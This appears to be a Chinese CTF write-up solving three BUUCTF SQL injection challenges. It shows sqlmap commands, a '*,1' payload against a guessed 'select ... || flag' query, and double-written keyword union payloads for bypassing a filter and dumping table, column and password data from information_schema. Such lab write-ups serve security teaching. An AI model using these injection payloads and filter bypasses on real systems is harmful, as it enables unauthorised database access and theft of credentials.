buuctf sql注入类练习

BUU SQL COURSE 1

  • 1

  • 实例无法访问 / Instance can't be reached at that time | BUUCTF

  • 但是这个地方很迷惑就是这个 一个 # 我们不抓包就不知道这个是sql注入类的

  • 判断是 get 类型的sql注入直接使用sqlmap

  • 我们放入到1.txt中

  • 目的是 优先检测 ?id=1

  • >python3 sqlmap.py -r 1.txt

  • 他会自动的进行检测 对方的数据库类型

  • 直接进行数据搜哈

  • 这个加密是 24英文字母小写是MD5

  • 解密不出来 那就说明这个pass就是密码

  • flag{19a949af-93af-4422-a127-87b23a68c134}

[SUCTF 2019]EasySQL1

  • 老办法复制一下然后 放到1.txt(这个文件需要和sqlmap是同级的文件)

  • 标上 *

  • 发现梭哈失败了 原因 :1、这个过程中经过了 服务器的解密

  • 2、有waf

  • 第一种排除了 是第二种 有waf过滤

  • 输入字母就会无回显但是输入数字

  • 有个Array 这个在php中是数组的意思

  • 也就是我们可以输入一个数组 这个[0] 猜测是 $flag=array[xxxxxxxx]

  • 输入1

  • 会出现 [0]=1

  • 但是输入 0时会消失

  • 输入0和1 发现我们输入什么他就会回显什么

  • 猜测后端的逻辑

  • 我发现一个规律就是 我输入多少个数组 最后一个都是 1

  • 后端逻辑 : select $_POST['query'] || flag from Flag

  • 可能就是当我们输入这个flag是正确的时候就会出现flag 这个很明显不显示

  • 但是我们可以使用 * 让其列出所以的列 然后 ,1 构造这个数组

  • select *,1 || flag from Flag

  • 1 || flag

  • 就是作用类似于 1 or 1 =1

  • select * 是查找所以的值

  • 在mysql中 || 就是或运算符的意思

  • 1 or 一个值的逻辑必然是 true

  • 因为1是真实存在的

  • 但是如果我们输入的flag不是真实存在的就鸡鸡了 但是这个又过滤了字母 所以说这样做事最正确的

[极客大挑战 2019]BabySQL

  • 判断类型

  • 使用逻辑注入 '= \ '=

  • 获取当账号密码

  • 猜测是MD5

  • 失败 那就说明 passwd就是这个

  • 但是这个不是 flag

  • 根据题目提示 bodysql 但是我们不知道是哪个地方的注入抓个包直接使用sqlmap一键梭哈一下

  • 发现失败了

  • python3 sqlmap.py -r 1.txt --level=4

  • 说明可能又有waf

  • 这个双写过滤的逻辑就是 服务器的替换是只能不断向前替换的 不能回头 bbyy 他首先会把 by 换为 ' ' 只能他是不能回头把 b y 进行替换

  • 发现这样构造还是没有 所以就使用手工注入 使用 union 看一下他到底有几个列

  • 发现一共是有 3个数据的

  • 有个知识点就是 不能在url中使用 # 要使用 %23 不然会造成不识别

  • 查表

  • ?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(table_name)ffromrom infoorrmation_schema.tables wwherehere table_schema=database()%23

  • http://6304b807-b309-4f6c-8c46-58857e48ae51.node5.buuoj.cn:81/check.php?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(column_name)ffromrom infoorrmation_schema.columns wwherehere table_schema=database()%23

  • 发现这个有两个id 应该不是的

  • 直接找密码

  • ?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql%23

相关推荐
XYiFfang13 小时前
【MYSQL】SQL学习指南:从常见错误到高级函数与正则表达式
sql·mysql·正则表达式·regexp_like·group_concat
十碗饭吃不饱15 小时前
sql报错:java.sql.SQLSyntaxErrorException: Unknown column ‘as0‘ in ‘where clause‘
java·数据库·sql
呆呆小金人16 小时前
SQL入门: HAVING用法全解析
大数据·数据库·数据仓库·sql·数据库开发·etl·etl工程师
l1t21 小时前
用parser_tools插件来解析SQL语句
数据库·sql·插件·duckdb
TDengine (老段)21 小时前
TDengine 数学函数 ABS() 用户手册
大数据·数据库·sql·物联网·时序数据库·tdengine·涛思数据
Hello.Reader1 天前
Apache StreamPark 快速上手从一键安装到跑起第一个 Flink SQL 任务
sql·flink·apache
养生技术人1 天前
Oracle OCP认证考试题目详解082系列第57题
运维·数据库·sql·oracle·开闭原则
养生技术人2 天前
Oracle OCP认证考试题目详解082系列第53题
数据库·sql·oracle·database·开闭原则·ocp
豆沙沙包?2 天前
2025年--Lc171--H175 .组合两个表(SQL)
数据库·sql
养生技术人2 天前
Oracle OCP认证考试题目详解082系列第48题
运维·数据库·sql·oracle·database·开闭原则·ocp